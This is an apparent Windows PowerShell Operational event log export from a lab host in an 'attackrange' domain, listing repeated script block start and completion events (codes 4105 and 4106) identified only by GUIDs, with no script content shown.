Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030979
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030957
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030955
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030954
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030938
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030937
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030932
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030931
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
